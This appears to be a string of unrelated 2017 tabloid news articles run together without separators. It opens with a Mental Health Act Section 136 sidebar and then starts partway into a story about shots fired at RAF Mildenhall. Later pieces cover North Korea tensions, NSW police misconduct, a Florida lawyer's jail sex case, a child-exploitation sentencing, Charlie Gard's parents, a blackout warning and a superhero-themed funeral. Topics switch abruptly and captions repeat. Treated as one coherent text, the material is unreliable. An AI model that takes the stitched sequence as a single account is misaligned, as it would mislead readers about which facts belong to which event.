What is Section 136? Section 136 of the Mental Health Act 1983 covers 'mentally disordered persons found in public places' and 'removal etc of mentally disordered persons without a warrant'. Police can use it in public to hold someone where they are or take them to a 'place of safety' if they think they have a mental illness and need care or control. This 'place of safety' could be that person's home, or the house of a friend or relative, a hospital or a police station  and police are permitted to move the person between places. People should receive a mental health assessment while on this section, and can be kept on it by medical examiners for up to 24 hours  although this can be extended for 12 hours. After the assessment people can be discharged or forced to stay in hospital under a different section of the Act. Someone cannot be taken from their home under Section 136, although they can be under Section 135. Advertisement

US military personnel opened fire when the man ignored guards, including both American and UK Ministry of Defence police, and drove onto the base just after 1pm.

An RAF source said: 'If you enter a military base forcibly you would expect an armed response. He was quite lucky to be in one piece.'

It is understood the suspect was not armed and no explosives were found in his vehicle.

Security staff locked down the base - which is used to refuel US and Nato aircraft in Europe - for several hours as the incident unfolded.

A member of staff at Jumppin Jacks Funhouse, a soft play centre in Mildenhall, said 'All the American children playing here suddenly left, but we didn't hear anything or know why.'

A villager who lives nearby said: 'This guy is lucky to be alive. The guards at the base do not mess around and he could easily have been shot dead.'

It is believed that the man was taken away in a prison van which was seen being driven away at speed, escorted by a UK police car and two US vehicles with blue lights flashing.

Security at RAF Mildenhall was increased after the 9/11 attacks in 2001 with the construction of a new entrance and gatehouse which all vehicles have to pass through.

Suffolk Police said officers responded to 'reports of a disturbance' at the base at 1.40pm.

Police confirmed that US personnel fired shots during the incident at around 1.40pm

The base was put on lockdown amid reports of a car being rammed into a checkpoint

Suffolk Police said that while the incident was ongoing, there was no wider threat to the public

A defence source said a car tried to force its way into RAF Mildenhall in Suffolk (file picture)

Police rushed to RAF Mildenhall in Suffolk to respond to the 'significant security alert'

The force added in a statement: 'The base was put into lockdown and units responded immediately. Shots were fired by American service personnel and a man has been detained with cuts and bruises and taken into custody.'

A police spokesman was last night unable to confirm whether the matter was being treated as terrorist-related.

The base has previously been identified as a potential target for terrorists.

Last year a British Islamic extremist was convicted for planning a terror attack on US military personnel in the UK, having apparently scouted out RAF Mildenhall as a target.

In 2015 delivery driver Junead Khan drove close to several bases operated by the US Air Force, including the Suffolk airfield, his trial was told.

The 1,162-acre base, which houses about 3,100 US military and an additional 3,000 family members, is used by the US to refuel US and Nato aircraft in Europe

RAF Mildenhall (pictured) in Suffolk and neighbouring RAF Lakenheath were re-opened after the second World War to host B-29 Superfortresses and have hosted US airmen ever since

A V-22 Osprey, similar to the one pictured in this file image, was seen in aerial footage surrounded by what appeared to be a cordon and flashing lights on a police vehicle

RAF Mildenhall has been used by the American military since 1950. Several units are still based there permanently, including the 100th Air Refuelling Wing and a branch of its special operations command.

It has been earmarked for closure in 2022 after the Pentagon decided to scale down its military presence in Europe.

The Ministry of Defence plans to sell the site as part of a plan to generate 500 million from the release of military bases.

In July last year a serviceman was said to have been threatened with a knife while he was out jogging close to nearby RAF Marham in Norfolk.

Police said he was the victim of an attempted abduction but the serviceman, who was not in uniform, fought off his attackers and escaped unharmed.
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Hundreds of South Korean and US Marines braved subfreezing temperatures as they took part in winter training exercises on Tuesday.

Photos show shirtless soldiers wrestling, doing press-ups and snow sport exercises in the eastern mountainous region of Pyeongchang, South Korea, some 180 kilometers east of Seoul.

More than 220 South Korean Marines and 220 US Marines took part in the drill, which comes less than two months before the Winter Olympic Games set to be held there in February.

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The hundreds of US and South Korean marines gathered in the mountainous Pyeongchang where the Winter Olympics will take place in February

The marines stripped off in temperatures as low as minus 20F. Tensions between Kim Jong Un and Donald Trump have been growing in recent months

During a visit, South Korean Marine Corps Commandant Lt. Gen. Jun Jin-goo told troops: 'You are a symbol of the robust South Korea-U.S. alliance, overcoming the severe cold with comradeship

Combat drills: The marines wrestled topless in the freezing temperatures as part of a team building exercise

The Pyeongchang Games will open just 50 miles from the world's most heavily fortified border on February 9th.

It comes after a top Pentagon official said a 'ground invasion' was the only way to destroy North Koreas nuclear weapons program

South Korean and U.S. Marines take part in a winter military drill in Pyeongchang, South Korea

The training exercises began on December 4 at the Mount Hwangbyeong training camp as part of the Korea Marine Exercise Program, Yonhap News agency reported.

The two countries have been staging a winter drill each year since 2013.

A spokesman for the US marine unit, the III US Marine Expeditionary Force, told the news agency: 'This exercise has been held with a focus on enhancing the combined combat capabilities of the South Korean and US Marine Corps in winter war conditions under which temperatures drop to about minus 20C.'

During a visit, South Korean Marine Corps Commandant Lt. Gen. Jun Jin-goo told troops: 'You are a symbol of the robust South Korea-U.S. alliance, overcoming the severe cold with comradeship.

'Let's defend the Republic of Korea (South Korea) firmly on the basis of hot comradeship and strong combat power of the allies' Marine Corps.'

Sen. Lindsey Graham this week predicted that President Donald Trump would take the country to war with North Korea if Kim Jong-un makes additional provocations.

A Chinese former senior military official warned that war in North Korea could break out 'any time between now and March 2018'.

Lieutenant General Wang Hongguang said Beijing should be mentally prepared for war on the Korean peninsula at any moment, and should start mobilising troops in Northeast China.

It comes after a top Pentagon official said a 'ground invasion' was the only way to destroy North Koreas nuclear weapons program.

Pyongyang has already conducted a test with a missile that could potentially carry a nuclear warhead to the U.S. Eastern Seaboard.

Sen. Lindsey Graham this week predicted that President Donald Trump would take the country to war with North Korea if Kim Jong-un makes additional provocations.

Graham told The Atlantic in an interview that appeared on the magazine's website Thursday that another nuclear test would be the final straw.

'I would say there's a three in 10 chance we use the military option,' Graham said. Upping the odds in the case of a seventh test, he replied, 'I would say 70 percent.'

A Chinese former senior military official warned that war in North Korea could break out 'any time between now and March 2018'.

Lieutenant General Wang Hongguang said Beijing should be mentally prepared for war on the Korean peninsula at any moment, and should start mobilising troops in Northeast China.

Pyeongchang Winter Olympics 2018 Political tensions with North Korea and China have chilled foreign interest in the Pyeongchang Games, which open just 80 km (50 miles) from the world's most heavily fortified border on February 9th. Seoul's Defence Ministry will deploy some 5,000 armed forces personnel at the Games, double the 2,400 on duty during the 2002 World Cup, which South Korea co-hosted with Japan. As well as investing $17.6million in security for the event, a new Special Weapons and Tactics team has also been created to guard against terrorism and assassination attempts. As of December 5th, ticket sales totalled 578,000, or 54 per cent of target, though an organiser said that was similar to sales at a similar point ahead of the Sochi Games in Russia in 2014. The International Olympic Committee has also banned Russia, which finished top of the medals table at Sochi, from Pyeongchang, citing evidence of state-sponsored, systematic cheating of doping controls. Pyeongchang organisers had urged South Korea to equip the stadium with a roof and heating, but this was rejected due to costs and concerns over whether the structure would support a roof. The temporary arena is to be dismantled after the Games. Advertisement

Threat: As well as investing $17.6million in security for the event, a new Special Weapons and Tactics team has also been created to guard against terrorism and assassination attempts.

The four hundred marines hold up a banner wishing their countrymen luck at the forthcoming Olympics

South Korean and U.S. Marines take part in a winter military drill in Pyeongchang, South Korea

The two countries have been staging a winter drill each year since 2013

Senator Graham also warned: 'I would say there's a three in 10 chance we use the military option,' Graham said. Upping the odds in the case of a seventh test, he replied, 'I would say 70 percent.'

South Korean and U.S. Marines take part in a winter military drill in Pyeongchang, South Korea

South Korean and U.S. Marines take part in a winter military drill in Pyeongchang, South Korea

His warning came the day before China sent several warplanes on a long-range drill to the Sea of Japan, a move that prompted South Korea to scramble fighter jets.

'The war on the Korean Peninsula might break out anytime between now and March next year,' General Hongguang told Chinese state-run English language newspaper Global Times.

'China should be psychologically prepared for a potential Korean war, and the Northeast China regions should be mobilized for that.'

'Such mobilization is not to launch a war, but for defensive purposes,' he added.

Speaking on Tuesday, American president Donald Trump pledged to take 'all necessary' steps to halt North Korean dictator Kim Jong-un's nuclear advance.

Trump said his administration is not only putting 'America first,' it is confronting the nation's challenges 'head on,' including the threat posed by a nuclear North Korea, which he said the U.S. has attempted to stop with an 'unprecedented effort' to isolate Kim Jong-un's regime.

'However, there is much more work to do,' Trump said. 'America and its allies will take all necessary steps to ensure denuclearization and ensure that this regime cannot threaten the world.'

South Korean and U.S. Marines take part in a winter military drill in Pyeongchang, South Korea
Several New South Wales police officers have allegedly been caught with their hands in plenty of illegal activities, a new report has revealed.

The Police Integrity Commission's annual report detailed 1178 complaints against NSW police officers in the last year.

The long list of misconduct allegations facing several NSW police officers includes supplying drugs, taking bribes, destroying and tampering with evidence and associating with bikies.

Several New South Wales police officers have been caught with their hands in plenty of illegal activities, the Police Integrity Commission's annual report revealed

In one case, a senior constable is facing accusations of being involved in running illegal brothels, the Daily Telegraph reports.

The officer, who was based in the Sydney metropolitan area, was also allegedly receiving large payments from overseas that were transferred into his own accounts.

The Integrity Commission launched an investigation into the senior constable, Operation Snowshoe, in 2015.

The investigation found enough evidence against the officer to able to refer the matter to the NSW Director of Public Prosecutions and the Commonwealth DPP to consider charges.

The Integrity Commission launched an investigation into the senior constable, Operation Snowshoe, in 2015.

In another case, an officer based in Sydney's inner west was found to be giving information to known organised crime figures.

Another officer was under investigation for working as a debt collector.

While the raft of misconduct allegations may be damning, it is not the first time the NSW police force has been subject investigations into illegal activity.

The now historic Wood Royal Commission in 1995 saw 284 police officers named for their role in corruption-related offences, such as bribery, money laundering, drug trafficking, fabrication of evidence, and fraud.

The commission, headed by Supreme Court judge James Wood, sought to determine whether corruption and serious misconduct were entrenched in the police force.
A Florida attorney has been arrested for allegedly filming himself having sex with an inmate at the Pinellas County Jail for a porn series titled 'Girls in Jail'.

Police in Clearwater, Florida got a tip in November that 55-year-old attorney Andrew Spark was meeting with women who weren't his clients, in an attempt to get them to perform sex acts in the attorney-client meeting room.

The attorney-client meeting room is a feature in all jails where inmates can meet with their legal representation in relative privacy. The room at the Pinellas County Jail doesn't have audio or video surveillance. The only view into the room is a small window, which Spark would reportedly block by standing in front of during such illicit meetings.

He would record the sex acts on his iPad, which attorneys get special privileges to bring into their meetings with clients. At the end of the meeting, he would reportedly upload the videos to the internet.

Florida attorney Andrew Spark, 55 (left), has been arrested for allegedly filming himself having sex 28-year-old Antoinette Rose Napolitano (right) at the Pinellas County Jail for a porn series

Detectives caught Spark and Napolitano engaged in a sex act while they were meeting in the attorney-client room at the Pinellas County Jail on Sunday

'We do extend [lawyers] that privilege so they can be efficient in their representation of their clients,' Sheriff Bob Gualtieri said at a Monday press conference. 'This is a guy who understood what the privileges were and decided he was going to exploit that and use it to his advantage.'

Spark reportedly approached 25-year-old Shauna Boselli in November, offering to put money in her commissary account if she performed oral sex on him while he filmed. He bragged about having sex with another inmate just before meeting with her.

'It was really ridiculously nominal amounts,' Gualtieri said. 'But when you're in jail those ridiculously nominal accounts add up.'

Spark and Boselli knew each other before she was jailed for child pornography charges. Last year, Spark met Boselli at a Tampa porn festival and tried to get her to do a video with him but they could not agree on the price.

Spark reported propositioned another inmate, Shauna Boselli, 25, in November but she turned him down

Boselli turned him down again when he approached her at the jail, but authorities were later able to confirm that he had sex with at least one other inmate - 28-year-old Antoinette Rose Napolitano.

Like Boselli, Spark met Napolitano before she was incarcerated. He solicited her for sex off Backpage.com three years ago and they would meet to hook up before she was jailed for drug charges.

Authorities say Spark had sex with Napolitano at the jail at least six times since June.

When they learned that Spark planned to meet with Napolitano on Sunday, they wired the room and then waited for the sex act to begin.

They say Spark started recording the video while Napolitano was seated at the table. He asked her to describe some sexual fantasies and then to perform sex acts.

When Spark pulled out his penis, detectives opened the door and took him into custody.

Spark was booked into the same jail where he filmed the sex acts. He posted $5,300 bond later that same day.

He faces charges of soliciting for prostitution, exposure of sexual organs and possession of contraband in a county detention facility.

Spark refused to speak to detectives and asked for an attorney.

'He wouldn't talk,' Gualtieri said. 'He said he wanted a lawyer. Go figure.'

Gualtieri says they have not been able to find any of his videos on the internet yet.

Police are now investigating whether Spark had sex with more inmates across the county.

They say Napolitano will not face charges for the sex acts.

Records show that Spark once worked for the Florida Attorney General's Office as an assistant attorney general, but quit in 2011.

A spokesman for then Attorney general Pam Bondi said that he was the subject of an internal investigation regarding the use of a work computer to do personal business. The complaint was closed when he quit.

He had no disciplinary history.

Gualtieri says they do not plan to change the policies involving attorneys meeting with clients at the jail.
North Korea is a 'real danger' to the UK and must be stopped before it develops missiles which can strike British soil, the Defence Secretary has said.

Gavin Williamson said the tyrannical regime is a 'massive threat' and is busy trying to develop ballistic missiles which could hit London.

And he vowed that Britain will 'never hesitate' in doing what it takes to tackle Kim Jong-Un's military aggression.

His stark warning comes just hours after Donald Trump tore into the 'nuclear menace' posed by Pyongyang.

As tensions in the region continue to bubble, Royal Navy warships are being dispatched to join the US fleet and other allies to carry out joint operations.

Gavin Williamson said North Korea is a 'massive threat' and are busy trying to develop ballistic missiles which could hit London

Defence Secretary Gavin Williamson, pictured today with members of the armed forces in Horse Guards Parade, London, made the warning after the US defence chief said 'all options' are on the table to deal with Kim Jong-Un's nuclear programme

Mr Williamson said: 'North Korea is a massive threat. They are a real danger to this country.

'They are currently on the pathway to have ballistic missiles that could strike London.

'This is not just a problem for the United States. This is a global problem. Britain has to step up in terms of dealing with it.

'There are threats emerging right around the world. Britain is a global player, it's a world player. We will never hesitate to deal with aggression and threats.'

He hinted that Britain is drawing up contingency plans in case tensions in the region spill over into open warfare.

He told the Evening Standard: 'We are always planning for the worst and hoping for the best. We are working with all our allies in the region to make sure that we continue to put pressure on North Korea.

'We've got HMS Argyll, HMS Sutherland going to the region to do operations with our allies.'

North Korean military scientists have been furiously working to put a nuclear warhead on a missile so it can strike rivals thousands of miles away.

Kim Jong-un has overseen a string of tests in recent months ans American scientists estimate that North Korea's latest missile, tested last month, could have flown 13,000 kilometres, or 8,000 miles.

This is well within striking distance of London - which is around 5,400 miles from Pyongyang.

Donald Trump (pictured in Washington yesterday) has vowed to take on the nuclear threat posed by Kim Jong-Un (pictured right) - who he has mockingly dubbed 'little rocket man'

North Korean scientists have carried out a string of ballistic missile tests in the past six months- including this one in late July. The tests have sparked global fears of a potentially devatstaig nuclear war between the power and the United States

Mr Trump has vowed to take on the nuclear threat posed by Kim Jong-Un - who he has mockingly dubbed 'little rocket man'.

In a speech yesterday the US President said: 'America and its allies will take all necessary steps to ensure denuclearisation and ensure that this regime cannot threaten the world.'

And his national security adviser General HR McMaster has warned the US is prepared to 'compel' North Korea to abandon its nuclear weapons programme.

Gen McMaster said 'all options' are open to Washington to take on the threat saying 'we're not committed to a peaceful [resolution]  we're committed to a resolution.'

He added: 'We want the resolution to be peaceful, but as the president has said, all options are on the table and we have to be prepared, if necessary, to compel the denuclearisation of North Korea without the cooperation of that regime.

'The chances of war, who knows what they are? They could go up or down, I think, based on what we all decide to do.

'North Korea is a grave threat to all civilised people across the globe.'
A pair of human traffickers have been jailed for plying girls as young as 13 with alcohol before taking them to Travelodge hotel rooms for sex.

Daniel Pusey, 21, waited to sexually abuse the girls in hotel rooms after they had been given drinks and cigarettes at Diane Chilcott's home in Chertsey, Surrey, and ferried to him by her.

Pusey also had illegal sex at his parents' house and told one of the youngsters at a Travelodge in west London: 'I want to f*** you on a bed of money.'

Daniel Pusey, 21,(left) waited to sexually abuse the girls in hotel rooms after they had been given drinks and cigarettes at Diane Chilcott's home in Chertsey, Surrey, and ferried to him by her

Pusey, from West Drayton, London, was jailed for 13 years at Portsmouth Crown Court on Monday, with Chilcott locked up for six years.

He was found guilty of four counts of facilitating travel to exploit and Chilcott, from Chertsey, was convicted of three counts of facilitating travel to exploit.

Pusey had been found guilty of seven offences of sexual activity with a child in connection with this case during a trial which finished in April, but this could not be reported at the time for legal reasons.

Detective Inspector Richard Haycock, from Surrey Police's Complex Abuse Unit, said: 'The bravery shown by those exploited throughout the entire process is highly commendable.

Chilcott leaving Guildford Crown Court on February 22, 2017

'I hope the sentencing of these two individuals brings some level of closure to the victims.

'This was calculated exploitation of young teenage girls.

'These individuals who clearly knew what they were doing, supplying the victims with alcohol to make them even more vulnerable to sexual abuse.

'The offenders knew how old the girls were but continued to exploit them on a number of occasions and I commend the victims for their bravery in speaking to authorities and seeing the legal process through to the end, this has been a long and difficult journey for them.

'If anyone is, or has been, in a similar situation, or has concerns about any child - I urge you to please come forward and tell someone who can help you.

'Specialist officers worked closely with social services and police colleagues in London to investigate this case.

'The police are also continuing to work with the hotel industry through the Operation Makesafe initiative to ensure their staff are alert to possible warning signs of children at risk.'

Detective Inspector Richard Haycock, from Surrey Police's Complex Abuse Unit, said: 'The bravery shown by those exploited throughout the entire process is highly commendable.' Pictured: Chilcott outside Guildford Crown Court

An NSPCC spokesperson said: 'Chilcott and Pusey are manipulative individuals who exploited young, vulnerable girls for sexual purposes.

'The victims have been incredibly brave in speaking out and we hope this sentence gives them some measure of closure and that they are receiving support to overcome their trauma.

'Often going unseen, child sexual exploitation is a horrifying crime which will have lasting effects on those who are subjected to it.

'Adults who have concerns or suspect a young person is a victim or is at risk of exploitation can call the NSPCC Helpline on 0808 800 5000, email help@nspcc.org.uk or report a concern online via the website www.nspcc.org.uk'
The parents of Charlie Gard, whose legal battle to secure treatment for their terminally ill son captured the attention of the world, have met with Vice-President Mike Pence.

Connie Yates and Chris Gard met the Vice-President at the White House and he said after he said it was an 'honor' to have met the couple.

'An honor to welcome the courageous parents of little Charlie Gard  to discuss the life and legacy of their son,' he said in a tweet.

The Vice-President said it was an 'honor' to meet the 'courageous' Connie Yates and Chris Gard

Charlie Gard's parents speak outside the High Court, London, after they ended their legal fight over treatment for the terminally-ill baby

'Their parental love and devotion to their son is inspiring and a reminder of how precious all lives are.'

Charlie suffered from a rare genetic condition which saw him in hospital for the majority of his short life.

His parents, fought a lengthy and emotional legal battle to take their severely ill baby son to the US for treatment, but were denied by judges.

The protracted legal battle saw the couple take their case to the High Court, Court of Appeal and Supreme Court - all of which ruled life support treatment should end and Charlie should be allowed to die with dignity.

Judges at the European Court of Human Rights refused to intervene in the case - and the couple said they had been denied their final wish to be able to take their son home to die and felt 'let down' following the lengthy legal battle.

Courts denied his parents the chance to bring their son home to die and he was taken from Great Ormond Street to a hospice.

The couple, of Bedfont, west London, ended their legal battle on July 24, in what they called the 'most painful of decisions' and their son was moved to a hospice on July 27 .

Supporters of Connie Yates and Chris Gard raised over 1.3 million and they have used the money to set up a foundation

At the time Connie Yates said: 'Our beautiful little boy has gone, we are so proud of you.'

At the time of his death, Mr Pence tweeted: 'Saddened to hear of the passing of Charlie Gard. Karen & I offer our prayers & condolences to his loving parents during this difficult time.'

Charlie's plight saw hundreds of supporters - called Charlie's Army - lending their voices and money to see the child given treatment, with 1.35 million raised on an online fund-raising site.

The money donated by the well-wishers has been used to set up a 'Charlie Gard Foundation' to help other children with rare diseases.

Pope Francis and US president Donald Trump weighed into the debate, with the Vatican saying the pontiff prayed for 'their wish to accompany and treat their child until the end is not neglected'.
The anti-war heckler who disrupted the minute's silence at Sydney's Anzac Day dawn service turned up late to court twice in one day before avoiding conviction.

''Smokin'' Joe Mekhael, 33, was arrested in Martin Place shortly on April 25 this year after allegedly shouting anti-war slogans as 20,000 people paid their respects to Australia's fallen soldiers.

He failed to show up on time at Downing Centre Local Court on Tuesday both before proceedings and after lunch as he faced charges for behaving in an offensive manner and resisting an officer in the execution of duty, the Daily Telegraph reports.

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''Smokin'' Joe Mekhael, 33, (pictured) was arrested in Martin Place shortly on April 25 this year after allegedly shouting anti-war slogans as 20,000 people paid their respects to Australia's fallen soldiers

Mekhael (pictured) failed to show up on time at Downing Centre Local Court on Tuesday both before proceedings and after lunch

'I am revolutionary warrior, number one general of the save-the-world army,' Mekhael proclaimed to reporters outside the courthouse.

Mekhael, who an openly anti-war protester, is heavily active on social media and uses the platform to broadcast his beliefs.

He even live-streamed himself as he travelled to the Sydney court, telling followers he was 'smashing through the lies of the government'.

The bizarre protester was unapologetic as a reporter reminded him of his disrespectful behaviour during the Anzac Day dawn service.

Mekhael, (pictured) who an openly anti-war protester, is heavily active on social media and uses the platform to broadcast his beliefs

The bizarre protester (pictured) was unapologetic as a reporter reminded him of his disrespectful behaviour during the Anzac Day dawn service

A message was uplaoded on Mekhael's Facebook following his release in April

'Aw boo hoo, I upset people, I'm doing my best to save other people from wars,' Mekhael shouted.

The 33-year-old arrived back at court 30 minutes late after a court recess at 2pm.

When the Magistrate asked why he was late he told the court: 'I was having my lunch'.

Mekhael was convicted in his absence and was forced to lodge an appeal, which was granted.

He is due to reappear in court for a 'fair hearing' next year.

When the Magistrate asked why he was late he told the court: 'I was having my lunch' (Pictured)

The heckler was shouting anti-war slogans during the Anzac Day dawn service (pictured)

He was charged with behaving in an offensive manner and resisting an officer in the execution of duty

Mekhael was arrested by officers for disrupting the dawn service on Anzac Day, 2017.

'The courageous will never be silent as long as these wars continue,' he shouted to a sea of silent observers.

'Senseless violence. Stop the wars. Bring peace to the world.'

He was charged with behaving in an offensive manner and resisting an officer in the execution of duty.

RSL NSW president John Haines told the Daily Telegraph that the dawn service was the 'wrong time and the wrong place' for a political protest.

'He should have recognised that,' Mr Haines added.
This is the awkward moment a television anchor in east China panicked during a live show when a bee landed on his face.

Footage has emerged showing a male news reader freezing his action seconds after a bee appeared in front of the camera and stopped on his shirt.

He is seen trying to flick away the buzzing insect when it crawls up onto his face.

The incident occurred during a live news broadcast in the studio of Jiyang Radio and Television station in Shangdong Province.

A station staff member told Pear Video that it happened about half a month ago. The woman said a bee had flown and stopped on the male anchor's shirt.

'This section is cut. We didn't stream it to the public,' she said.

She explained the footage had been taken by the anchor's colleagues who were at the scene.

Keep calm and carry on! A news anchor is interrupted by a flying bee when he is on a live broadcast (left). He freezes his action when the bee stops on his chest (right)

The bee crawled onto his face slowly and he is ready to flick it away with his finger (left). His dramatic reaction is caught on film by his colleagues (right)

In the footage, the anchor stops moving, hoping the bee would fly away; but the insect crawls up onto his face and next to his mouth.

A helper rushes over and tries to use a comb to make the bee fly away.

The anchor finally flicks away the bug and quickly gets off the chair.
Sydney is unprepared for a major blackout that could plunge Australia's largest city into darkness, according to New South Wales' chief scientist.

The warning has been issued regarding dangerous events which could be caused by illegal actions or weather events, resulting in prolonged blackouts which could last several days.

New South Wales chief scientist Mary O'Kane told the Daily Telegraph the consequences of such a blackout would be extreme.

Sydney is unprepared for a major blackout that could plunge Australia's largest city into darkness, according to New South Wales' chief scientist

'For this reason, we've suggested all sorts of things be tested,' she said.

An Energy Security Taskforce led by Ms O'Kane gave a report to the state government on Tuesday warning a blackout would negatively impact fuel supplies, water quality and health care.

NSW Energy Minister Don Harwin said the state government has developed a 'strategic plan' for a response to a 'large-scale outage'.

The report said Sydney would most likely to be the last part of NSW to have power restored as it sits on the edge of the network.

There was also potential for sewage to overflow, and fuel and water supplies would drop.

Hospitals would need fuel delivered to power generators while healthcare records could not be accessed.

New South Wales chief scientist Mary O'Kane said the consequences of such a blackout would be extreme

Sterilisations may take up to three days to complete in such an event, while patients would need to be evacuated as air conditioning wouldn't work and the hospitals had fixed windows.

Trains would stop running, and up to 10,000 passengers would have to be evacuated from underground lines.

Electronic equipment connected to the NBN would no longer work and phones would be dependent on their battery life.

NSW Energy Minister Don Harwin said the state government has developed a 'strategic plan' for a response to a 'large-scale outage'

The report said the state needs a better plan for getting the power back on in a blackout.

Ms O'Kane said NSW was more prepared for such an event than it was a year ago.

'There is still risk of high demand during a heatwave, but in terms of how it will affect the state, we're in a better position,' she said.
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An Afghanistan veteran, 30, who died in a lorry crash was given a fitting send-off after his family and friends dressed as his favourite comic book characters at his funeral.

Hundreds of mourners turned out to pay their respects to Marvel superfan Roman Parsons at Carmountside Crematorium in Stoke-on-Trent on Tuesday.

Grieving relatives came dressed as Iron Man, Wolverine, Spiderman and Deadpool ahead of the emotional service.

Others wore Bananaman and Black Widow outfits at the budding actor's funeral.

The lorry driver passed away when his HGV ploughed into the back of a broken down truck on the A500 on November 24.

An Afghanistan veteran, 30, who died in a lorry crash was given a fitting send-off after his family and friends dressed as his favourite comic book characters at his funeral. People dressed as Bananaman from the Beano comics, as well as Marvel characters

The lorry driver passed away when his HGV ploughed into the back of a broken down truck on the A500 on November 24, hundreds of mourners honoured him by dressing up as superheroes including Captain America

Grieving relatives came dressed as Iron Man, Wolverine, Spiderman, Black Widow and Deadpool ahead of the emotional service on Tuesday

Roman, an Afghanistan veteran, 30, who died in a lorry crash was a lifelong comic book fan and budding actor who dreamed of starring in the Avengers films

Roman, of Blurton, Stoke-on-Trent was a lifelong comic book fan, and had dreamed of starring in an Avengers movie after signing with the Amanda Andrews Agency last year.

He'd also spent six months working as a rail engineer in Afghanistan as part of a six-year stint in the Army, before becoming a lorry driver in 2009.

His sister Rebecca, 27, said: 'He was an amazing person, incredibly unique and loyal towards his family.

Hundreds of mourners turned out to pay their respects to Marvel superfan Roman Parsons at Carmountside Crematorium in Stoke-on-Trent

Roman's younger sister Rebecca, 27, said: 'He was an amazing person, incredibly unique and loyal towards his family'

Relatives of Roman left reefs in the shape of Captain America's shield, played in the film franchise by Chris Evans. One note from a grieving relative said: 'A golden heart stopped beating, two smiling eyes at rest. God broke our hearts to prove to us he only takes the best'

'He kept himself to himself, but was very caring towards those who were closest to him.

'For as long as I can remember he was a geek, and loved collecting comic books and dressing up as characters from the Marvel films.

'If ever I had a question about who had defeated who, or a plot line from a superhero film, I would always go to him. He was like an encyclopedia.

'His favourite character was Deadpool, and he adored the films when they came out.

'Earlier this year he even dressed up as him for Halloween, and he had great fun with that and he went to a comic cons at the NEC last year dressed as Sub-Zero from Mortal Kombat.

'Every year he would always talk about how much he wanted to go, but something would always come up and prevent him from going.

Roman became a lorry driver in 2009. He'd previously spent six months working as a rail engineer in Afghanistan as part of a six-year stint in the Army

Marvel cars featuring popular characters such as the Hulk, Deadpool and Captain America were part of the funeral procession

Friends and family of the 30-year-old Afghanistan veteran laid flowers at his funeral dressed as Iron Man, Spiderman, and Wolverine

Roman's sister described him as 'very caring towards those who were closest to him'

Just weeks before his untimely death, Roman dressed up as Deadpool for Halloween

His sister said of Roman: 'For as long as I can remember he was a geek, and loved collecting comic books and dressing up as characters from the Marvel films. 'If ever I had a question about who had defeated who, or a plot line from a superhero film, I would always go to him. He was like an encyclopedia'

'When he passed away, it seemed right to pay tribute to him with a comic book themed funeral, it's just something that the whole family agreed on very quickly' his sister said

Roman went to a comic cons at the Birmingham NEC last year dressed as Sub-Zero from Mortal Kombat - he was a huge fan of comic books, particularly the Marvel franchise

Since returning from Afghanistan, Roman took up acting and it was his dream to star in an Avengers movie

'Over the past 18 months or so, he started to get into acting, doing short films and that sort of thing. He was taking it really seriously. It was more than just a pastime for him, and he wanted to be a serious actor. 'His absolute dream was to be in an Avengers movie, he joked about that a lot' his sister said

The whole family 'agreed very quickly' that a comic book themed funeral was the right thing to do

'It's good to know that he got the opportunity to finally go along before he passed away.

'Over the past 18 months or so, he started to get into acting, doing short films and that sort of thing.

'He was taking it really seriously. It was more than just a pastime for him, and he wanted to be a serious actor.

'His absolute dream was to be in an Avengers movie, he joked about that a lot.

Acting was more than 'just a pastime' for Roman, who dreamt of starring alongside Robert Downey Jr., Chris Evans, Mark Ruffalo, Chris Hemsworth, Scarlett Johansson, Jeremy Renner, Tom Hiddleston, Clark Gregg, Cobie Smulders, Stellan Skarsgard and Samuel L. Jackson in an Avengers movie

Some paid tribute to Roman by wearing full superhero costume, others wore superhero t-shirts and hoodies and some came in military uniform

The funeral procession included a Marvel car decorated with popular characters from the franchise and cars with flower reefs spelling out 'Uncle' and 'Brother'

Some women at the funeral came dressed as Black Widow played by Scarlett Johansson in the Avengers franchise. Others came as Deadpool, who is played by Ryan Reynolds and Spiderman

Roman's sister described the funeral as 'something a bit different' but added 'It's lovely to know that we've been able to lay him to rest in the way that he would have wanted'

'When he passed away, it seemed right to pay tribute to him with a comic book themed funeral, it's just something that the whole family agreed on very quickly.

'It's something that's a bit different, but that was Roman to a tee.

'It's lovely to know that we've been able to lay him to rest in the way that he would have wanted.'
The president's national security chief, H.R. McMaster, said Tuesday that the U.S. will not 'tolerate' a nuclear-capable North Korea.

McMaster danced around a military option in an interview with CBS 'This Morning' but said of the possibility that the United States and a nuclear-armed North Korea could coexist: 'I don't think we can tolerate that risk. The world cant tolerate that risk.'

Earlier in the day, Kim Jong-un's regime rejected U.S. Secretary of State Rex Tillerson's offer to engage in talks about anything the North Korean's wanted.

The refusal followed President Donald Trump's declaration on Monday that the United States would take 'all necessary' steps to denuclearize North Korea.

The president's national security chief, H.R. McMaster, said Tuesday that the U.S. will not 'tolerate' a nuclear-capable North Korea

Earlier in the day, Kim Jong-un 's regime rejected U.S. Secretary of State Rex Tillerson's offer to engage in talks about anything the North Korean's wanted

The refusal followed President Donald Trump 's declaration on Monday that the United States would take 'all necessary' steps to denuclearize North Korea

Trump said in a speech that accompanied the formal release of his National Security Strategy that the U.S. has 'no choice' but to seek a reversal in North Korea's nuclear ambitions.

As such, it has launched a 'maximum pressure' campaign and an 'unprecedented effort to isolate' the regime.

'This situation should have been taken care of long before I got into office, when it was much easier to handle. But it will be taken care of,' he stated.

Secretary of State Rex Tillerson had last week said that the U.S. would be open to having a dialogue with North Korea without preconditions to get Kim to the table.

'Let's just meet, and we can talk about the weather if you want. Talk about whether it's going to be a square table or a round table, if that's what you are excited about,' he said during a Dec. 12 event at The Atlantic Council.

Tillerson plead: 'Can we at least sit down and see each other face to face, and then we can begin to lay out a map, a road map of what we might be willing to work towards.'

The senior U.S. diplomat's overture was at odds with Trump's claim earlier this year that Tillerson was 'wasting his time' on diplomacy with North Korea, and the White House subsequently asserted, 'The president's views on North Korea have not changed.'

Tillerson then walked backed his offer, saying Friday that only a 'sustained cessation of North Koreas threatening behavior must occur before talks can begin.'

'North Korea must earn its way back to the table,' he told the United Nations Security Council.

Rodong Sinmun, a state-operated paper in North Korea, said Tuesday that Kim's regime would not enter into talks with the United States, anyway.

'Saying our nation is to be "utterly destroyed" on the one hand, whilst saying "talk without precondition" on the other hand is the Trump administrations execution of the maximum pressure and interruption policy aimed at leading the North to the table for denuclearization,' it said in an editorial.

McMaster said Tuesday in reply that a nuclear-armed North Korea represents a 'grave danger' to the world and it be stopped.

